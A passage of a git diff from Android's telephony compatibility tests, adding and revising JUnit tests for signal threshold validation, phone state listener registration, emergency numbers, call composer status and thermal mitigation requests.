+                    SignalThresholdInfo.SIGNAL_RSCP_MAX_VALUE + 1),
+            SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSRP,
+            List.of(SignalThresholdInfo.SIGNAL_RSRP_MIN_VALUE - 1,
+                    SignalThresholdInfo.SIGNAL_RSRP_MAX_VALUE + 1),
+            SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSRQ,
+            List.of(SignalThresholdInfo.SIGNAL_RSRQ_MIN_VALUE - 1,
+                    SignalThresholdInfo.SIGNAL_RSRQ_MAX_VALUE + 1),
+            SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSNR,
+            List.of(SignalThresholdInfo.SIGNAL_RSSNR_MIN_VALUE - 1,
+                    SignalThresholdInfo.SIGNAL_RSSNR_MAX_VALUE + 1),
+            SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSRSRP,
+            List.of(SignalThresholdInfo.SIGNAL_SSRSRP_MIN_VALUE - 1,
+                    SignalThresholdInfo.SIGNAL_SSRSRP_MAX_VALUE + 1),
+            SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSRSRQ,
+            List.of(SignalThresholdInfo.SIGNAL_SSRSRQ_MIN_VALUE - 1,
+                    SignalThresholdInfo.SIGNAL_SSRSRQ_MAX_VALUE + 1),
+            SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSSINR,
+            List.of(SignalThresholdInfo.SIGNAL_SSSINR_MIN_VALUE - 1,
+                    SignalThresholdInfo.SIGNAL_SSSINR_MAX_VALUE + 1)
+    );
+
+    // Map of RAN to allowed SignalMeasurementType set.
+    // RAN/TYPE pair will be used to verify the validation of the combo
+    private static final Map<Integer, Set<Integer>> VALID_RAN_TO_MEASUREMENT_TYPE_MAP = Map.of(
+            AccessNetworkConstants.AccessNetworkType.GERAN,
+            Set.of(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI),
+            AccessNetworkConstants.AccessNetworkType.CDMA2000,
+            Set.of(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI),
+            AccessNetworkConstants.AccessNetworkType.UTRAN,
+            Set.of(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSCP),
+            AccessNetworkConstants.AccessNetworkType.EUTRAN,
+            Set.of(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSRP,
+                    SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSRQ,
+                    SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSNR),
+            AccessNetworkConstants.AccessNetworkType.NGRAN,
+            Set.of(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSRSRP,
+                    SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSRSRQ,
+                    SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSSINR)
+    );
+
+    @Before
+    public void setUp() throws Exception {
+        assumeTrue(InstrumentationRegistry.getContext().getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_TELEPHONY));
+    }
+
+    @Test
+    public void testConstructor_validParams() {
+        for (int[] params : VALID_PARAMS) {
+            final int ran = params[0];
+            final int signalMeasurementType = params[1];
+            final int[] thresholds = new int[]{params[2]};
+
+            SignalThresholdInfo sti = new SignalThresholdInfo.Builder()
+                    .setRadioAccessNetworkType(ran)
+                    .setSignalMeasurementType(signalMeasurementType)
+                    .setThresholds(thresholds)
+                    .build();
+
+            assertEquals(ran, sti.getRadioAccessNetworkType());
+            assertEquals(signalMeasurementType, sti.getSignalMeasurementType());
+            assertThat(thresholds).isEqualTo(sti.getThresholds());
+        }
+    }
+
+    @Test
+    public void testConstructor_invalidSignalMeasurementType() {
+        final int[] invalidSignalMeasurementTypes = new int[]{-1, 0, 9};
+        for (int signalMeasurementType : invalidSignalMeasurementTypes) {
+            buildWithInvalidParameterThrowException(
+                    AccessNetworkConstants.AccessNetworkType.GERAN, signalMeasurementType,
+                    new int[]{-1});
+        }
+    }
+
+    @Test
+    public void testConstructor_nullThresholds() {
+        buildWithInvalidParameterThrowException(
+                AccessNetworkConstants.AccessNetworkType.GERAN,
+                SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI, null);
+    }
+
+    @Test
+    public void testConstructor_invalidRanMeasurementTypeCombo() {
+        for (int ran : VALID_RAN_TO_MEASUREMENT_TYPE_MAP.keySet()) {
+            Set validTypes = VALID_RAN_TO_MEASUREMENT_TYPE_MAP.get(ran);
+            for (int type = SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI;
+                    type <= SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSSINR; type++) {
+                if (!validTypes.contains(type)) {
+                    buildWithInvalidParameterThrowException(ran, type, new int[]{-1});
+                }
+            }
+        }
+    }
+
+    @Test
+    public void testConstructor_thresholdsOutOfRange() {
+        for (int signalMeasurementType : INVALID_THRESHOLDS_MAP.keySet()) {
+            List<Integer> invalidThresholds = INVALID_THRESHOLDS_MAP.get(signalMeasurementType);
+            for (int threshold : invalidThresholds) {
+                buildWithInvalidParameterThrowException(getValidRan(signalMeasurementType),
+                        signalMeasurementType, new int[]{threshold});
+            }
+        }
+    }
+
+    @Test
+    public void testParcel() {
+        for (int[] params : VALID_PARAMS) {
+            final int ran = params[0];
+            final int signalMeasurementType = params[1];
+            final int[] thresholds = new int[]{params[2]};
+
+            SignalThresholdInfo sti = new SignalThresholdInfo.Builder()
+                    .setRadioAccessNetworkType(ran)
+                    .setSignalMeasurementType(signalMeasurementType)
+                    .setThresholds(thresholds)
+                    .build();
+            Parcel p = Parcel.obtain();
+            sti.writeToParcel(p, 0);
+            p.setDataPosition(0);
+
+            SignalThresholdInfo newSt = SignalThresholdInfo.CREATOR.createFromParcel(p);
+            assertThat(newSt).isEqualTo(sti);
+        }
+
+    }
+
+    @Test
+    public void testEquals() {
+        final int[] dummyThresholds = new int[]{-100, -90, -70, -60};
+        final int[] dummyThresholdsDisordered = new int[]{-60, -90, -100, -70};
+
+        SignalThresholdInfo sti1 = new SignalThresholdInfo.Builder()
+                .setRadioAccessNetworkType(AccessNetworkConstants.AccessNetworkType.GERAN)
+                .setSignalMeasurementType(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI)
+                .setThresholds(dummyThresholds)
+                .build();
+
+        SignalThresholdInfo sti2 = new SignalThresholdInfo.Builder()
+                .setRadioAccessNetworkType(AccessNetworkConstants.AccessNetworkType.CDMA2000)
+                .setSignalMeasurementType(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI)
+                .setThresholds(dummyThresholds)
+                .build();
+
+        SignalThresholdInfo sti3 = new SignalThresholdInfo.Builder()
+                .setRadioAccessNetworkType(AccessNetworkConstants.AccessNetworkType.GERAN)
+                .setSignalMeasurementType(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI)
+                .setThresholds(dummyThresholds)
+                .build();
+
+        SignalThresholdInfo sti4 = new SignalThresholdInfo.Builder()
+                .setRadioAccessNetworkType(AccessNetworkConstants.AccessNetworkType.GERAN)
+                .setSignalMeasurementType(SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI)
+                .setThresholds(dummyThresholdsDisordered)
+                .build();
+
+        assertTrue(sti1.equals(sti1));
+        assertFalse(sti1.equals(sti2));
+        assertTrue(sti1.equals(sti3));
+        assertTrue(sti1.equals(sti4));
+        assertFalse(sti1.equals("sti1"));
+    }
+
+    private void buildWithInvalidParameterThrowException(int ran, int signalMeasurementType,
+            int[] thresholds) {
+        try {
+            new SignalThresholdInfo.Builder()
+                    .setRadioAccessNetworkType(ran)
+                    .setSignalMeasurementType(signalMeasurementType)
+                    .setThresholds(thresholds)
+                    .build();
+            fail("Exception expected");
+        } catch (IllegalArgumentException | NullPointerException expected) {
+        }
+    }
+
+    /**
+     * Return a possible valid RAN value for the measurement type. This is used to prevent the
+     * invalid ran/type causing IllegalArgumentException when testing other invalid input cases.
+     */
+    private static int getValidRan(@SignalThresholdInfo.SignalMeasurementType int type) {
+        switch (type) {
+            case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSI:
+                return AccessNetworkConstants.AccessNetworkType.GERAN;
+            case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSCP:
+                return AccessNetworkConstants.AccessNetworkType.UTRAN;
+            case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSRP:
+            case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSRQ:
+            case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_RSSNR:
+                return AccessNetworkConstants.AccessNetworkType.EUTRAN;
+            case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSRSRP:
+            case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSRSRQ:
+            case SignalThresholdInfo.SIGNAL_MEASUREMENT_TYPE_SSSINR:
+                return AccessNetworkConstants.AccessNetworkType.NGRAN;
+            default:
+                return AccessNetworkConstants.AccessNetworkType.UNKNOWN;
+        }
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
index 987e098..b6a0f6f 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SubscriptionManagerTest.java
@@ -18,6 +18,7 @@
 
 import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET;
 import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_CONGESTED;
+import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_METERED;
 import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_RESTRICTED;
 import static android.net.NetworkCapabilities.NET_CAPABILITY_TEMPORARILY_NOT_METERED;
 import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR;
@@ -351,13 +352,12 @@
                 Arrays.asList(buildValidSubscriptionPlan(System.currentTimeMillis())));
 
         // Cellular is metered by default
-        assertFalse(cm.getNetworkCapabilities(net).hasCapability(
-                NET_CAPABILITY_TEMPORARILY_NOT_METERED));
+        assertFalse(cm.getNetworkCapabilities(net).hasCapability(NET_CAPABILITY_NOT_METERED));
 
         // Override should make it go temporarily unmetered
         {
             final CountDownLatch latch = waitForNetworkCapabilities(net, caps -> {
-                return caps.hasCapability(NET_CAPABILITY_TEMPORARILY_NOT_METERED);
+                return caps.hasCapability(NET_CAPABILITY_NOT_METERED);
             });
             mSm.setSubscriptionOverrideUnmetered(mSubId, true, 0);
             assertTrue(latch.await(10, TimeUnit.SECONDS));
@@ -366,7 +366,7 @@
         // Clearing override should make it go metered
         {
             final CountDownLatch latch = waitForNetworkCapabilities(net, caps -> {
-                return !caps.hasCapability(NET_CAPABILITY_TEMPORARILY_NOT_METERED);
+                return !caps.hasCapability(NET_CAPABILITY_NOT_METERED);
             });
             mSm.setSubscriptionOverrideUnmetered(mSubId, false, 0);
             assertTrue(latch.await(10, TimeUnit.SECONDS));
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
index 2275b5c..e457218 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
@@ -29,6 +29,7 @@
 import static org.junit.Assert.fail;
 
 import android.Manifest.permission;
+import android.annotation.NonNull;
 import android.app.UiAutomation;
 import android.bluetooth.BluetoothAdapter;
 import android.content.BroadcastReceiver;
@@ -57,16 +58,20 @@
 import android.telephony.CallQuality;
 import android.telephony.CarrierBandwidth;
 import android.telephony.CarrierConfigManager;
+import android.telephony.CellInfo;
 import android.telephony.CellLocation;
+import android.telephony.DataThrottlingRequest;
 import android.telephony.NetworkRegistrationInfo;
 import android.telephony.PhoneStateListener;
 import android.telephony.PinResult;
 import android.telephony.PreciseCallState;
 import android.telephony.RadioAccessFamily;
 import android.telephony.ServiceState;
+import android.telephony.SignalStrength;
 import android.telephony.SubscriptionInfo;
 import android.telephony.SubscriptionManager;
 import android.telephony.TelephonyManager;
+import android.telephony.ThermalMitigationRequest;
 import android.telephony.UiccCardInfo;
 import android.telephony.UiccSlotInfo;
 import android.telephony.data.ApnSetting;
@@ -119,6 +124,8 @@
     private SubscriptionManager mSubscriptionManager;
     private PackageManager mPackageManager;
     private boolean mOnCellLocationChangedCalled = false;
+    private boolean mOnCellInfoChanged = false;
+    private boolean mOnSignalStrengthsChanged = false;
     private boolean mServiceStateChangedCalled = false;
     private boolean mRadioRebootTriggered = false;
     private boolean mHasRadioPowerOff = false;
@@ -254,7 +261,7 @@
 
     @After
     public void tearDown() throws Exception {
-        if (mListener != null) {
+        if (mListener != null && mListener.isExecutorSet()) {
             // unregister the listener
             mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_NONE);
         }
@@ -382,6 +389,25 @@
             // expected
         }
     }
+
+    @Test
+    public void testListenFailWithNonLooper() throws Throwable {
+        if (!InstrumentationRegistry.getContext().getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "Skipping test that requires PackageManager.FEATURE_TELEPHONY");
+            return;
+        }
+
+        mListener = new PhoneStateListener();
+        try {
+            // .listen generates an onCellLocationChanged event
+            mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_CELL_LOCATION);
+            fail("PhoneStateListener created from a thread without looper should " +
+                    "trigger IllegalStateException.");
+        } catch (IllegalStateException e) {
+        }
+    }
+
     @Test
     public void testListen() throws Throwable {
         if (!InstrumentationRegistry.getContext().getPackageManager()
@@ -413,7 +439,7 @@
                 };
 
                 synchronized (mLock) {
-                    mLock.notify(); // mListener is ready
+                    mLock.notify(); // listener is ready
                 }
 
                 Looper.loop();
@@ -427,8 +453,8 @@
 
         // Test register
         synchronized (mLock) {
-            // .listen generates an onCellLocationChanged event
-            mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_CELL_LOCATION);
+            // .registerPhoneStateListener generates an onCellLocationChanged event
+            mTelephonyManager.registerPhoneStateListener(mSimpleExecutor, mMockPhoneStateListener);
             mLock.wait(TOLERANCE);
 
             assertTrue("Test register, mOnCellLocationChangedCalled should be true.",
@@ -447,19 +473,19 @@
         }
 
         // unregister the listener
-        mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_NONE);
+        mTelephonyManager.unregisterPhoneStateListener(mMockPhoneStateListener);
         Thread.sleep(TOLERANCE);
 
         // Test unregister
         synchronized (mLock) {
-            mOnCellLocationChangedCalled = false;
+            mOnCellInfoChanged = false;
             // unregister again, to make sure doing so does not call the listener
-            mTelephonyManager.listen(mListener, PhoneStateListener.LISTEN_NONE);
+            mTelephonyManager.unregisterPhoneStateListener(mMockPhoneStateListener);
             CellLocation.requestLocationUpdate();
             mLock.wait(TOLERANCE);
 
             assertFalse("Test unregister, mOnCellLocationChangedCalled should be false.",
-                    mOnCellLocationChangedCalled);
+                    mOnCellInfoChanged);
         }
     }
 
@@ -2059,6 +2085,36 @@
     }
 
     /**
+     * Tests TelephonyManager.getEmergencyNumberList(@EmergencyServiceCategories int categories).
+     *
+     */
+    @Test
+    public void testGetEmergencyNumberListForCategories() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+        Map<Integer, List<EmergencyNumber>> emergencyNumberList =
+                mTelephonyManager.getEmergencyNumberList(
+                        EmergencyNumber.EMERGENCY_SERVICE_CATEGORY_POLICE);
+
+        assertFalse(emergencyNumberList == null);
+
+        checkEmergencyNumberFormat(emergencyNumberList);
+
+        int defaultSubId = mSubscriptionManager.getDefaultSubscriptionId();
+        final String country_us = "us";
+        final String country_us_police_number = "911";
+        if (mTelephonyManager.getNetworkCountryIso().equals(country_us)) {
+            assertTrue(checkIfEmergencyNumberListHasSpecificAddress(
+                    emergencyNumberList.get(defaultSubId), country_us_police_number));
+        }
+        for (EmergencyNumber num : emergencyNumberList.get(defaultSubId)) {
+            assertTrue(num.isInEmergencyServiceCategories(
+                    EmergencyNumber.EMERGENCY_SERVICE_CATEGORY_POLICE));
+        }
+    }
+
+    /**
      * Tests TelephonyManager.isEmergencyNumber.
      *
      * Also enforce country-specific emergency number in CTS.
@@ -2100,6 +2156,59 @@
     }
 
     /**
+     * Tests TelephonyManager.setCallComposerStatus and TelephonyManager.getCallComposerStatus.
+     */
+    @Test
+    public void testSetGetCallComposerStatus() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        boolean hasImsFeature = mPackageManager.hasSystemFeature(
+                PackageManager.FEATURE_TELEPHONY_IMS);
+
+        if (hasImsFeature) {
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                    tm -> tm.setCallComposerStatus(TelephonyManager.CALL_COMPOSER_STATUS_OFF));
+            int status = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                    tm -> tm.getCallComposerStatus());
+            assertThat(status).isEqualTo(TelephonyManager.CALL_COMPOSER_STATUS_OFF);
+
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                    tm -> tm.setCallComposerStatus(
+                            TelephonyManager.CALL_COMPOSER_STATUS_ON_NO_PICTURES));
+            status = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                    tm -> tm.getCallComposerStatus());
+            assertThat(status).isEqualTo(TelephonyManager.CALL_COMPOSER_STATUS_ON_NO_PICTURES);
+
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                    tm -> tm.setCallComposerStatus(TelephonyManager.CALL_COMPOSER_STATUS_ON));
+            status = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                    tm -> tm.getCallComposerStatus());
+            assertThat(status).isEqualTo(TelephonyManager.CALL_COMPOSER_STATUS_ON);
+        } else {
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                    tm -> tm.setCallComposerStatus(TelephonyManager.CALL_COMPOSER_STATUS_OFF));
+            int status = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                    tm -> tm.getCallComposerStatus());
+            assertThat(status).isEqualTo(TelephonyManager.CALL_COMPOSER_STATUS_OFF);
+
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                    tm -> tm.setCallComposerStatus(TelephonyManager.CALL_COMPOSER_STATUS_ON));
+            status = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                    tm -> tm.getCallComposerStatus());
+            assertThat(status).isEqualTo(TelephonyManager.CALL_COMPOSER_STATUS_OFF);
+
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                    tm -> tm.setCallComposerStatus(
+                            TelephonyManager.CALL_COMPOSER_STATUS_ON_NO_PICTURES));
+            status = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                    tm -> tm.getCallComposerStatus());
+            assertThat(status).isEqualTo(TelephonyManager.CALL_COMPOSER_STATUS_OFF);
+        }
+    }
+
+    /**
      * Tests {@link TelephonyManager#getSupportedRadioAccessFamily()}
      */
     @Test
@@ -3146,6 +3255,115 @@
         }
     }
 
+    @Test
+    public void testSendThermalMitigationRequest() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+        long arbitraryCompletionWindowSecs = 1L;
+
+
+        // Test a proper data throttling thermal mitigation request.
+        int thermalMitigationResult = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.sendThermalMitigationRequest(
+                        new ThermalMitigationRequest.Builder()
+                                .setThermalMitigationAction(ThermalMitigationRequest
+                                        .THERMAL_MITIGATION_ACTION_DATA_THROTTLING)
+                                .setDataThrottlingRequest(new DataThrottlingRequest.Builder()
+                                        .setDataThrottlingAction(DataThrottlingRequest
+                                                .DATA_THROTTLING_ACTION_THROTTLE_SECONDARY_CARRIER)
+                                        .setCompletionDurationMillis(arbitraryCompletionWindowSecs)
+                                .build())
+                        .build()));
+        // Only verify the result for supported devices on IRadio 1.6+
+        if (mRadioVersion >= RADIO_HAL_VERSION_1_6) {
+            assertEquals(thermalMitigationResult,
+                    TelephonyManager.THERMAL_MITIGATION_RESULT_SUCCESS);
+        }
+        // Test negative completionDurationSecs is an invalid parameter.
+        try {
+            thermalMitigationResult = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager, (tm) -> tm.sendThermalMitigationRequest(
+                            new ThermalMitigationRequest.Builder()
+                                    .setThermalMitigationAction(ThermalMitigationRequest
+                                            .THERMAL_MITIGATION_ACTION_DATA_THROTTLING)
+                                    .setDataThrottlingRequest(new DataThrottlingRequest.Builder()
+                                            .setDataThrottlingAction(DataThrottlingRequest
+                                                    .DATA_THROTTLING_ACTION_THROTTLE_PRIMARY_CARRIER
+                                            )
+                                            .setCompletionDurationMillis(-1)
+                                            .build())
+                                    .build()));
+        } catch (IllegalArgumentException e) {
+        }
+
+        // Test non-zero completionDurationSecs is an invalid parameter for data throttling hold.
+        try {
+            thermalMitigationResult = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager, (tm) -> tm.sendThermalMitigationRequest(
+                            new ThermalMitigationRequest.Builder()
+                                    .setThermalMitigationAction(ThermalMitigationRequest
+                                            .THERMAL_MITIGATION_ACTION_DATA_THROTTLING)
+                                    .setDataThrottlingRequest(new DataThrottlingRequest.Builder()
+                                            .setDataThrottlingAction(
+                                                    DataThrottlingRequest
+                                                            .DATA_THROTTLING_ACTION_HOLD)
+                                            .setCompletionDurationMillis(
+                                                    arbitraryCompletionWindowSecs)
+                                            .build())
+                                    .build()));
+        } catch (IllegalArgumentException e) {
+        }
+
+        // Test null DataThrottlingParams is an invalid parameter for data throttling request.
+        try {
+            thermalMitigationResult = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager, (tm) -> tm.sendThermalMitigationRequest(
+                            new ThermalMitigationRequest.Builder()
+                                    .setThermalMitigationAction(ThermalMitigationRequest
+                                            .THERMAL_MITIGATION_ACTION_DATA_THROTTLING)
+                                    .build()));
+        } catch (IllegalArgumentException e) {
+        }
+
+        // Test non-null DataThrottlingParams is an invalid parameter for voice only request.
+        try {
+            thermalMitigationResult = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager, (tm) -> tm.sendThermalMitigationRequest(
+                            new ThermalMitigationRequest.Builder()
+                                    .setThermalMitigationAction(
+                                            ThermalMitigationRequest
+                                                    .THERMAL_MITIGATION_ACTION_VOICE_ONLY)
+                                    .setDataThrottlingRequest(new DataThrottlingRequest.Builder()
+                                            .setDataThrottlingAction(
+                                                    DataThrottlingRequest
+                                                    .DATA_THROTTLING_ACTION_THROTTLE_PRIMARY_CARRIER
+                                            )
+                                            .setCompletionDurationMillis(-1)
+                                            .build())
+                            .build()));
+        } catch (IllegalArgumentException e) {
+        }
+
+        // Test non-null DataThrottlingParams is an invalid parameter for radio off request.
+        try {
+            thermalMitigationResult = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager, (tm) -> tm.sendThermalMitigationRequest(
+                            new ThermalMitigationRequest.Builder()
+                                    .setThermalMitigationAction(
+                                            ThermalMitigationRequest
+                                                    .THERMAL_MITIGATION_ACTION_RADIO_OFF)
+                                    .setDataThrottlingRequest(new DataThrottlingRequest.Builder()
+                                            .setDataThrottlingAction(DataThrottlingRequest
+                                                    .DATA_THROTTLING_ACTION_THROTTLE_PRIMARY_CARRIER
+                                            )
+                                            .setCompletionDurationMillis(-1)
+                                            .build())
+                            .build()));
+        } catch (IllegalArgumentException e) {
+        }
+    }
+
     /**
      * Validate Emergency Number address that only contains the dialable character.
      *
@@ -3372,5 +3590,159 @@
         if (major < 0 || minor < 0) return 0;
         return major * 100 + minor;
     }
+
+    private Executor mSimpleExecutor = new Executor() {
+        @Override
+        public void execute(Runnable r) {
+            r.run();
+        }
+    };
+
+    private static MockSignalStrengthsPhoneStateListener mMockSignalStrengthsPhoneStateListener;
+
+    private class MockSignalStrengthsPhoneStateListener extends PhoneStateListener
+            implements PhoneStateListener.SignalStrengthsChangedListener {
+        @Override
+        public void onSignalStrengthsChanged(SignalStrength signalStrength) {
+            if (!mOnSignalStrengthsChanged) {
+                synchronized (mLock) {
+                    mOnSignalStrengthsChanged = true;
+                    mLock.notify();
+                }
+            }
+        }
+    }
+
+    @Test
+    public void testRegisterPhoneStateListenerWithNonLooper() throws Throwable {
+        if (!InstrumentationRegistry.getContext().getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "Skipping test that requires PackageManager.FEATURE_TELEPHONY");
+            return;
+        }
+
+        mMockSignalStrengthsPhoneStateListener = new MockSignalStrengthsPhoneStateListener();
+
+        // Test register, generates an mOnSignalStrengthsChanged event
+        mTelephonyManager.registerPhoneStateListener(mSimpleExecutor,
+                mMockSignalStrengthsPhoneStateListener);
+
+        synchronized (mLock) {
+            if (!mOnSignalStrengthsChanged) {
+                mLock.wait(TOLERANCE);
+            }
+        }
+        assertTrue("Test register, mOnSignalStrengthsChanged should be true.",
+                mOnSignalStrengthsChanged);
+
+        // Test unregister
+        mOnSignalStrengthsChanged = false;
+        // unregister again, to make sure doing so does not call the listener
+        mTelephonyManager.unregisterPhoneStateListener(mMockSignalStrengthsPhoneStateListener);
+
+        assertFalse("Test unregister, mOnSignalStrengthsChanged should be false.",
+                mOnSignalStrengthsChanged);
+    }
+
+    private static MockPhoneStateListener mMockPhoneStateListener;
+
+    private class MockPhoneStateListener extends PhoneStateListener
+            implements PhoneStateListener.CellInfoChangedListener {
+        @Override
+        public void onCellInfoChanged(@NonNull List<CellInfo> cellInfo) {
+            if (!mOnCellInfoChanged) {
+                synchronized (mLock) {
+                    mOnCellInfoChanged = true;
+                    mLock.notify();
+                }
+            }
+        }
+    }
+
+    @Test
+    public void testRegisterPhoneStateListener() throws Throwable {
+        if (!InstrumentationRegistry.getContext().getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            Log.d(TAG, "Skipping test that requires PackageManager.FEATURE_TELEPHONY");
+            return;
+        }
+
+        if (mTelephonyManager.getPhoneType() == TelephonyManager.PHONE_TYPE_CDMA) {
+            // TODO: temp workaround, need to adjust test to for CDMA
+            return;
+        }
+        grantLocationPermissions();
+
+        TestThread t = new TestThread(new Runnable() {
+            public void run() {
+                Looper.prepare();
+                mMockPhoneStateListener = new MockPhoneStateListener();
+                synchronized (mLock) {
+                    mLock.notify(); // listener is ready
+                }
+
+                Looper.loop();
+            }
+        });
+
+        synchronized (mLock) {
+            t.start();
+            mLock.wait(TOLERANCE); // wait for mListener
+        }
+
+        // Test register
+        synchronized (mLock) {
+            // .registerPhoneStateListener generates an onCellLocationChanged event
+            mTelephonyManager.registerPhoneStateListener(getContext().getMainExecutor(),
+                    mMockPhoneStateListener);
+            mLock.wait(TOLERANCE);
+
+            assertTrue("Test register, mOnCellLocationChangedCalled should be true.",
+                    mOnCellInfoChanged);
+        }
+
+        synchronized (mLock) {
+            mOnCellInfoChanged = false;
+
+            CellInfoResultsCallback resultsCallback = new CellInfoResultsCallback();
+            mTelephonyManager.requestCellInfoUpdate(getContext().getMainExecutor(), resultsCallback);
+            mLock.wait(TOLERANCE);
+
+            assertTrue("Test register, mOnCellLocationChangedCalled should be true.",
+                    mOnCellInfoChanged);
+        }
+
+        // unregister the listener
+        mTelephonyManager.unregisterPhoneStateListener(mMockPhoneStateListener);
+        Thread.sleep(TOLERANCE);
+
+        // Test unregister
+        synchronized (mLock) {
+            mOnCellInfoChanged = false;
+            // unregister again, to make sure doing so does not call the listener
+            mTelephonyManager.unregisterPhoneStateListener(mMockPhoneStateListener);
+            CellLocation.requestLocationUpdate();
+            mLock.wait(TOLERANCE);
+
+            assertFalse("Test unregister, mOnCellLocationChangedCalled should be false.",
+                    mOnCellInfoChanged);
+        }
+    }
+
+    private class CellInfoResultsCallback extends TelephonyManager.CellInfoCallback {
+        public List<CellInfo> cellInfo;
+
+        @Override
+        public synchronized void onCellInfo(List<CellInfo> cellInfo) {
+            this.cellInfo = cellInfo;
+            notifyAll();
+        }
+
+        public synchronized void wait(int millis) throws InterruptedException {
+            if (cellInfo == null) {
+                super.wait(millis);
+            }
+        }
+    }
 }
 
diff --git a/tests/tests/telephony/current/src/android/telephony/gba/cts/GbaServiceTest.java b/tests/tests/telephony/current/src/android/telephony/gba/cts/GbaServiceTest.java
new file mode 100644
index 0000000..64a1538
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/gba/cts/GbaServiceTest.java
@@ -0,0 +1,337 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.gba.cts;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.app.Instrumentation;
